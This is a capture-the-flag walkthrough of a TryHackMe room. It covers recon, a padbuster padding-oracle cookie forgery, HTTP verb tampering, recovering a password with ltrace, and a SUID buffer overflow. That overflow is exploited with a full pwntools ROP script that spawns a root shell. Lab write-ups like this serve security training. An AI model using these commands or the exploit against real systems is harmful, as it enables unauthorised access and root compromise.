Room: https://tryhackme.com/room/hc0nchristmasctf
Honestly one of the harder boxes I have done on THM. Every technique clicked eventually, but nothing came easy. I hit dead ends, wrong assumptions, and had to backtrack more than once. Ended up being one of those challenges that's genuinely satisfying once root pops, because you know you earned it.

#recon
started with a full port scan.
nmap -sC -sV -p- -T4 <target IP>
Three ports open
22 80 8080
#poking the website
ran gobuster against port 80 to see what's actually there.
gobuster dir -u http://<target IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php
got login.php, register.php, an /admin dir, and a robots.txt. checked robots.txt first since it's free info.
curl http://<target IP>/robots.txt
jackpot. it names the admin username straight up administratorhc0nwithyhackme and points at iv.png.
#the admin apk (dead end, but worth checking)
/admin/ had an apk sitting there in a directory listing. pulled it down and ran it through jadx.
jadx -d java_sources app-release.apkinside, the app's enc()/dec() methods confirm it's using AES/CBC/PKCS5Padding.
#padding oracle on the login cookie
registered an account, logged in, grabbed the hcon session cookie from devtools.
hcon = tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65decoded that's 24 bytes, so 8-byte blocks.
checked for an oracle first before committing to a full padbuster run tampering with the last byte of the cookie changed the response size massively (1488 bytes valid vs 15 bytes tampered), so yeah, there's a real oracle here.
ran padbuster to decrypt the cookie and confirm what we're working with:
padbuster http://<target IP>/login.php tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65 8 --cookies "hcon=tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65" --encoding 0
decrypts to user=verox my own username, so the cookie format is confirmed as user=<name>. now forge one for the admin account using the same oracle in encrypt mode:
padbuster http://<target IP>/login.php tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65 8 --cookies "hcon=tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65" --encoding 0 -plaintext user=administratorhc0nwithyhackme
got a forged ciphertext back. dropped it into the hcon cookie value in the browser and hit the homepage.

logged in as administratorhc0nwithyhackme, and the page straight up prints the AES key: hconkwith******. padding oracle fully paid off.
#the runes
back to iv.png from robots.txt.

11 glyphs, cicada 3301 style Gematria Primus runes. matched each one against the chart by hand, got:
THEIVFORINGEOAEY16 characters, clean AES-128 IV length, lines up with the 16-char key from the admin leak. good sign it's right.
#decrypting port 8080
now had all three pieces: key hconkwithyhackme, IV THEIVFORINGEOAEY, and the ciphertext from port 8080 (RwO9+7tuGJ3nc1cIhN4E31WV/qeYGLURrcS7K+Af85w=).

With all the available information (Ciphertext, secret key and IV), we can proceed and decode the AES-CBC block ciphertext with an online tool.
output: user ssh <3 thedarktangent
so the ssh username is thedarktangent.
#password part 1 — http verb tampering
still had /hide-folders/ from the gobuster run, with two subdirs inside.

/hide-folders/1/ returns 405 on a normal GET.

swapped the verb to OPTIONS instead:
curl -s -X OPTIONS http://<target IP>/hide-folders/1/response came back with: hax0r :3 you win firts part of the ssh password and the password chunk Gf7MRr55.
#password part 2 — reversing the binary
/hide-folders/2/ had a file called hola, 8.6K.

curl -O http://<target IP>/hide-folders/2/holafile holaconfirmed ELF 64-bit, not stripped. ran strings first looking for a hardcoded password, came up empty the check isn't a plain string comparison. went straight to ltrace instead of firing up a full disassembler:
chmod +x ./holaltrace -s 100 ./holatyped in a throwaway username/password (stuxnet / aaa) and watched the trace:

strcmp("aaa", "n$@#PDuliL") there's the real password sitting right in the trace. way faster than digging through a disassembler by hand.
#user flag
ssh'd in with thedarktangent and the combined password Gf7MRr55n$@#PDuliL.
ssh thedarktangent@<target IP>
cat user.txt
user flag: thm{hc0n_*********_******}
#privesc — suid binary
ls -la in the home dir shows a SUID binary owned by root:
-rwsrwsr-x 1 root root 8952 Dec 10 2019 hc0npulled it down to my kali box to reverse it properly (scp was acting up on this box for some reason, so grabbed it over base64 through the ssh session instead):
ssh thedarktangent@<target IP> "base64 /home/thedarktangent/hc0n" > hc0n.b64base64 -d hc0n.b64 > hc0nchmod +x hc0n#finding the offset
threw 200 As at it to check for a crash:
python3 -c "print('A'*200)" > A.ingdb -q ./hc0nr < A.inRBP got overwritten with 0x4141414141414141, straight SIGSEGV. confirmed exploitable.
used a cyclic pattern instead of guessing offsets manually:
r < <(python3 -c "import sys; sys.stdout.buffer.write(__import__('subprocess').check_output(['cyclic','200']))")crash landed with RBP = maaanaaa. ran it through pwntools' offset lookup:
pwn cyclic -l maaanaaa
offset is 48. add 8 bytes for the saved return address on 64-bit, so 56 bytes of junk before we control RIP.
#confirming RIP control
python3 -c "import syspayload = b'A'*56 + b'\x43\x43\x42\x42\xfe\xfe\xff\xff'sys.stdout.buffer.write(payload)" > payload.ingdb -q ./hc0nr < payload.in
RIP = 0xfffffefe42424343 exactly the bytes planted. full control at offset 56, confirmed.
#building the rop chain
pulled gadgets with ROPgadget:
ROPgadget --binary hc0n --string '/bin/sh'ROPgadget --binary hc0n --only 'pop|ret'ROPgadget --binary hc0n --only 'syscall'got everything needed for an execve("/bin/sh", NULL, NULL):
/bin/sh string : 0x4006f8pop rax ; ret : 0x40061fpop rdi ; ret : 0x400604pop rsi ; ret : 0x40060dpop rdx ; ret : 0x400616syscall : 0x4005fawrote the exploit with pwntools, connects over ssh, runs the suid binary remotely, sends the rop chain:
from pwn import * HOST = "<target IP>"PORT = 22 def exploit(r): pop_rax = 0x40061f pop_rdi = 0x400604 pop_rsi = 0x40060d pop_rdx = 0x400616 bin_sh = 0x4006f8 syscall = 0x4005fa payload = b"A" * 56 payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(pop_rsi) payload += p64(0x0) payload += p64(pop_rdx) payload += p64(0x0) payload += p64(syscall) print(r.recvline()) r.sendline(payload) r.interactive() if __name__ == "__main__": r = ssh(host=HOST, port=PORT, user="thedarktangent", password="Gf7MRr55n$@#PDuliL") s = r.run("./hc0n") exploit(s)ran it:
python3 exploit.py
dropped into a # prompt. checked it wasn't just cosmetic:
idwhoamicat /root/root.txt
uid=0(root) confirmed, and the flag's right there.
root flag: thm{3xplo1t_**_****}
good box, lot of different skills touched in one go.